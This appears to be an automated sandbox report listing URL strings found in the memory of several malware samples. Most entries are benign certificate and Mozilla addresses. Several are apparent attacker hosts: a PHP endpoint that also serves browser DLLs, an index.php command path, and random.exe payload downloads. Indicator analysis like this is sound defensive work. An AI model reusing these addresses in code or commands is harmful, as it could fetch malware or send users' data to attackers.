Source: 140460b5fe.exe, 0000000B.00000002.3012648749.000000000134D000.00000004.00000020.00020000.00000000.sdmp, 140460b5fe.exe, 0000000B.00000002.2986000648.0000000000BB7000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: 140460b5fe.exe, 0000000B.00000002.2986000648.0000000000BB7000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dllData
Source: 140460b5fe.exe, 0000000B.00000002.2986000648.0000000000BB7000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dllDataations
Source: 140460b5fe.exe, 0000000B.00000002.3012648749.000000000134D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dllrU
Source: 140460b5fe.exe, 0000000B.00000002.2986000648.0000000000BB7000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: 140460b5fe.exe, 0000000B.00000002.3012648749.00000000012DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dllK
Source: 140460b5fe.exe, 0000000B.00000002.2986000648.0000000000BB7000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dllX
Source: 140460b5fe.exe, 0000000B.00000002.3012648749.00000000012DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dllm
Source: 140460b5fe.exe, 0000000B.00000002.3012648749.00000000012DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dllz
Source: 140460b5fe.exe, 0000000B.00000002.3012648749.000000000134D000.00000004.00000020.00020000.00000000.sdmp, 140460b5fe.exe, 0000000B.00000002.2986000648.0000000000BB7000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: 140460b5fe.exe, 0000000B.00000002.3012648749.000000000134D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dllDZ
Source: 140460b5fe.exe, 0000000B.00000002.2986000648.0000000000BB7000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dllData
Source: 140460b5fe.exe, 0000000B.00000002.3012648749.000000000134D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dllNU
Source: 140460b5fe.exe, 0000000B.00000002.2986000648.0000000000AD4000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dlldll
Source: 140460b5fe.exe, 0000000B.00000002.2986000648.0000000000AD4000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dlldllZxcvbnData
Source: 140460b5fe.exe, 0000000B.00000002.3012648749.000000000134D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dllll
Source: 140460b5fe.exe, 0000000B.00000002.3012648749.000000000134D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dlllldU
Source: 140460b5fe.exe, 0000000B.00000002.3012648749.000000000138A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dlllw
Source: 140460b5fe.exe, 0000000B.00000002.2986000648.0000000000BB7000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: 140460b5fe.exe, 0000000B.00000002.3012648749.00000000012DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: 140460b5fe.exe, 0000000B.00000002.3012648749.00000000012DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll)
Source: 140460b5fe.exe, 0000000B.00000002.3012648749.00000000012DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll.0r
Source: 140460b5fe.exe, 0000000B.00000002.3012648749.000000000134D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll6T
Source: 140460b5fe.exe, 0000000B.00000002.2986000648.0000000000AD4000.00000040.00000001.01000000.0000000D.sdmp, 140460b5fe.exe, 0000000B.00000002.2986000648.0000000000BB7000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: 140460b5fe.exe, 0000000B.00000002.2986000648.0000000000AD4000.00000040.00000001.01000000.0000000D.sdmp, 140460b5fe.exe, 0000000B.00000002.2986000648.0000000000BB7000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dlliations
Source: 140460b5fe.exe, 0000000B.00000002.2986000648.0000000000BB7000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/ware
Source: 140460b5fe.exe, 0000000B.00000002.2986000648.0000000000BB7000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/wareer
Source: 140460b5fe.exe, 0000000B.00000002.3012648749.0000000001333000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/L
Source: 140460b5fe.exe, 0000000B.00000002.3012648749.000000000138A000.00000004.00000020.00020000.00000000.sdmp, 140460b5fe.exe, 0000000B.00000002.3012648749.0000000001333000.00000004.00000020.00020000.00000000.sdmp, 140460b5fe.exe, 0000000B.00000002.2986000648.0000000000AD4000.00000040.00000001.01000000.0000000D.sdmp, 140460b5fe.exe, 0000000B.00000002.2986000648.0000000000B24000.00000040.00000001.01000000.0000000D.sdmp, 140460b5fe.exe, 0000000B.00000002.2986000648.0000000000BB7000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: 140460b5fe.exe, 0000000B.00000002.2986000648.0000000000AD4000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php----GDAAKKEHDHCAAAKFCBAKogon.exe
Source: 140460b5fe.exe, 0000000B.00000002.3012648749.000000000138A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php9A
Source: 140460b5fe.exe, 0000000B.00000002.2986000648.0000000000B24000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpUser
Source: 140460b5fe.exe, 0000000B.00000002.2986000648.0000000000BB7000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpe
Source: 140460b5fe.exe, 0000000B.00000002.2986000648.0000000000AD4000.00000040.00000001.01000000.0000000D.sdmp, 140460b5fe.exe, 0000000B.00000002.2986000648.0000000000BB7000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpinit.exe
Source: 140460b5fe.exe, 0000000B.00000002.2986000648.0000000000BB7000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206016c94f99fc45ae1aadf0e9f737498015422d491ce71847e3ension
Source: 140460b5fe.exe, 0000000B.00000002.2986000648.0000000000BB7000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206016c94f99fc45ae1aadf0e9f737498015422d491ce71847e3tension
Source: 140460b5fe.exe, 0000000B.00000002.2986000648.0000000000BB7000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206Local
Source: 140460b5fe.exe, 0000000B.00000002.2986000648.0000000000AD4000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206Localdata;
Source: 140460b5fe.exe, 0000000B.00000002.2986000648.0000000000BB7000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206Microsoft
Source: 140460b5fe.exe, 0000000B.00000002.2986000648.0000000000BB7000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206Roaming
Source: 140460b5fe.exe, 0000000B.00000002.2986000648.0000000000BB7000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206nnilmcdcgosoft
Source: skotes.exe, 00000006.00000002.3016381804.00000000013DB000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3016381804.000000000140F000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3016381804.0000000001387000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3016381804.00000000013AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000006.00000002.3016381804.00000000013AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php$
Source: skotes.exe, 00000006.00000002.3016381804.00000000013DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php?
Source: skotes.exe, 00000006.00000002.3016381804.00000000013DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/fate/random.exe
Source: skotes.exe, 00000006.00000002.3016381804.00000000013AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/geopoxid/random.exe
Source: skotes.exe, 00000006.00000002.3016381804.00000000013DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/geopoxid/random.exe0
Source: skotes.exe, 00000006.00000002.3016381804.00000000013AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/geopoxid/random.exe018432001
Source: skotes.exe, 00000006.00000002.3016381804.00000000013DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/geopoxid/random.exe0ac02b4ded8abeee1fbcc7a9d5143a
Source: skotes.exe, 00000006.00000002.3016381804.00000000013DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/geopoxid/random.exe3
Source: skotes.exe, 00000006.00000002.3016381804.00000000013AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/geopoxid/random.exe37D9ECF5C72AA370644
Source: skotes.exe, 00000006.00000002.3016381804.00000000013DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/geopoxid/random.exe3eAaP
Source: skotes.exe, 00000006.00000002.3016381804.00000000013DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/geopoxid/random.exe4e1PnC
Source: skotes.exe, 00000006.00000002.3016381804.00000000013DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/geopoxid/random.exeTa_
Source: skotes.exe, 00000006.00000002.3016381804.00000000013DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/geopoxid/random.exeV
Source: skotes.exe, 00000006.00000002.3016381804.00000000013DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/geopoxid/random.exeX
Source: skotes.exe, 00000006.00000002.3016381804.00000000013DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/geopoxid/random.exedD
Source: skotes.exe, 00000006.00000002.3016381804.00000000013DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/geopoxid/random.exeda
Source: skotes.exe, 00000006.00000002.3016381804.00000000013DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/geopoxid/random.exes
Source: skotes.exe, 00000006.00000002.3016381804.00000000013DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/geopoxid/random.exevn
Source: skotes.exe, 00000006.00000002.3016381804.00000000013AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/x3team/random.exe
Source: skotes.exe, 00000006.00000002.3016381804.00000000013AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/x3team/random.exe7
Source: skotes.exe, 00000006.00000002.3016381804.00000000013AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/x3team/random.exe760
Source: 6f93831ea2.exe, 00000007.00000002.2471388989.00000000035F1000.00000004.00000800.00020000.00000000.sdmp, 6f93831ea2.exe, 00000007.00000002.2471388989.00000000036D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://axschema.org/2http://schema.openid.net/2http://openid.net/schema/
Source: 6f93831ea2.exe, 00000007.00000002.2471879118.00000000045F9000.00000004.00000800.00020000.00000000.sdmp, 6f93831ea2.exe, 00000007.00000000.2459340730.0000000000E22000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: http://axschema.org/company/nameBhttp://axschema.org/company/title:http://axschema.org/birthDateNhtt
Source: 6f93831ea2.exe, 00000007.00000002.2471879118.00000000045F9000.00000004.00000800.00020000.00000000.sdmp, 6f93831ea2.exe, 00000007.00000000.2459340730.0000000000E22000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: http://axschema.org/contact/postalAddress/homephttp://axschema.org/contact/postalAddressAdditional/h
Source: 6f93831ea2.exe, 00000007.00000002.2471879118.00000000045F9000.00000004.00000800.00020000.00000000.sdmp, 6f93831ea2.exe, 00000007.00000000.2459340730.0000000000E22000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: http://axschema.org/contact/postalCode/businessDhttp://axschema.org/contact/IM/AIMDhttp://axschema.o
Source: 6f93831ea2.exe, 00000007.00000002.2471879118.00000000045F9000.00000004.00000800.00020000.00000000.sdmp, 6f93831ea2.exe, 00000007.00000000.2459340730.0000000000E22000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: http://axschema.org/namePersonJhttp://axschema.org/namePerson/prefixHhttp://axschema.org/namePerson/
Source: 6f93831ea2.exe, 00000007.00000002.2471879118.00000000045F9000.00000004.00000800.00020000.00000000.sdmp, 6f93831ea2.exe, 00000007.00000000.2459340730.0000000000E22000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: http://axschema.org/person/genderFhttp://axschema.org/media/biographyBhttp://axschema.org/pref/langu
Source: b1c5a9309d.exe, 0000000C.00000003.2774633037.0000000005DA2000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 00000010.00000003.2889384939.0000000005CA6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3358356541.000001C137C11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: b1c5a9309d.exe, 0000000C.00000003.2774633037.0000000005DA2000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 00000010.00000003.2889384939.0000000005CA6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3358356541.000001C137C11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: firefox.exe, 0000001C.00000002.3209453144.000001C13367D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%s
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%shttp://mozilla.org/#/properties/pagesLowWeight
Source: firefox.exe, 0000001C.00000002.3322743316.000001C1359A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%ss
Source: skotes.exe, 00000006.00000002.3016381804.0000000001439000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: b1c5a9309d.exe, 0000000A.00000002.2612219203.0000000001651000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: b1c5a9309d.exe, 0000000C.00000003.2774633037.0000000005DA2000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 00000010.00000003.2889384939.0000000005CA6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3358356541.000001C137C11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: skotes.exe, 00000006.00000002.3016381804.0000000001439000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y
Source: skotes.exe, 00000006.00000002.3016381804.0000000001439000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: skotes.exe, 00000006.00000002.3016381804.0000000001439000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z
Source: skotes.exe, 00000006.00000002.3016381804.0000000001439000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0
Source: b1c5a9309d.exe, 0000000C.00000003.2774633037.0000000005DA2000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 00000010.00000003.2889384939.0000000005CA6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3358356541.000001C137C11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: b1c5a9309d.exe, 0000000C.00000003.2774633037.0000000005DA2000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 00000010.00000003.2889384939.0000000005CA6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3358356541.000001C137C11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: b1c5a9309d.exe, 0000000C.00000003.2774633037.0000000005DA2000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 00000010.00000003.2889384939.0000000005CA6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3358356541.000001C137C11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: b1c5a9309d.exe, 0000000C.00000003.2774633037.0000000005DA2000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 00000010.00000003.2889384939.0000000005CA6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3358356541.000001C137C11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: skotes.exe, 00000006.00000002.3016381804.0000000001439000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#
Source: skotes.exe, 00000006.00000002.3016381804.0000000001439000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: skotes.exe, 00000006.00000002.3016381804.0000000001439000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#
Source: skotes.exe, 00000006.00000002.3016381804.0000000001439000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#
Source: 6f93831ea2.exe, 00000007.00000002.2471388989.00000000035F1000.00000004.00000800.00020000.00000000.sdmp, 6f93831ea2.exe, 00000007.00000002.2471879118.00000000045F9000.00000004.00000800.00020000.00000000.sdmp, 6f93831ea2.exe, 00000007.00000000.2459340730.0000000000E22000.00000002.00000001.01000000.00000009.sdmp, 6f93831ea2.exe, 00000007.00000002.2471388989.00000000036D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://csrc.nist.gov/publications/nistpubs/800-63/SP800-63V1_0_2.pdf
Source: firefox.exe, 0000001C.00000002.3267954961.000001C134654000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3114255755.000001C13302D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 0000001C.00000002.3211469866.000001C133967000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3212478847.000001C133AE3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3339647822.000001C13728F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3339647822.000001C137228000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3267954961.000001C1346A0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2898771747.000001C13ACB1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 0000001C.00000002.3114255755.000001C133061000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/dates-and-times
Source: firefox.exe, 0000001C.00000002.3114255755.000001C133061000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/regular-expressions
Source: firefox.exe, 0000001C.00000002.3050373606.000001C127903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/strings
Source: firefox.exe, 0000001C.00000002.3374498227.000001C138C72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/enabled
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/filterFetchResponse
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/javascriptValidator
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/mediaExceptionsStrategy
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/originsAlternativeEnable
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/originsDaysCutOff
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pagesAlternativeEnable
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pagesHalfLifeDays
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pagesHighWeight
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pagesMediumWeight
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pagesNumSampledVisits
Source: firefox.exe, 0000001C.00000003.2904565048.000001C13AB34000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3353632449.000001C137903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2909657360.000001C13A0E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2898771747.000001C13ACF8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3372926017.000001C138B4F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2948906543.000001C137664000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2910410451.000001C13A0B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2898771747.000001C13AC7A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2791412597.000001C137664000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3341655010.000001C1373C5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2791412597.000001C13764E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2898456617.000001C13B1AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2966119726.000001C13F627000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2904007182.000001C13ABC9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3346223737.000001C13764E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2916154035.000001C139BA4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2791767068.000001C1373C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3356200604.000001C137ADF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2948906543.000001C137652000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2898771747.000001C13AC06000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2795762904.000001C13739B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: 6f93831ea2.exe, 00000007.00000002.2471879118.00000000045F9000.00000004.00000800.00020000.00000000.sdmp, 6f93831ea2.exe, 00000007.00000000.2459340730.0000000000E22000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: http://msdn.com/data/ef
Source: 6f93831ea2.exe, 00000007.00000002.2471388989.00000000035F1000.00000004.00000800.00020000.00000000.sdmp, 6f93831ea2.exe, 00000007.00000002.2471388989.00000000036D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://namespace.google.com/openid/xmlns
Source: skotes.exe, 00000006.00000002.3016381804.0000000001439000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: b1c5a9309d.exe, 0000000C.00000003.2774633037.0000000005DA2000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 00000010.00000003.2889384939.0000000005CA6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3358356541.000001C137C11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: b1c5a9309d.exe, 0000000C.00000003.2774633037.0000000005DA2000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 00000010.00000003.2889384939.0000000005CA6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3358356541.000001C137C11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: skotes.exe, 00000006.00000002.3016381804.0000000001439000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: 6f93831ea2.exe, 00000007.00000002.2471388989.00000000035F1000.00000004.00000800.00020000.00000000.sdmp, 6f93831ea2.exe, 00000007.00000002.2471388989.00000000036D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://openid.net/extensions/sreg/1.1
Source: 6f93831ea2.exe, 00000007.00000002.2471879118.00000000045F9000.00000004.00000800.00020000.00000000.sdmp, 6f93831ea2.exe, 00000007.00000000.2459340730.0000000000E22000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: http://openid.net/extensions/sreg/1.14http://openid.net/sreg/1.04http://openid.net/sreg/1.1
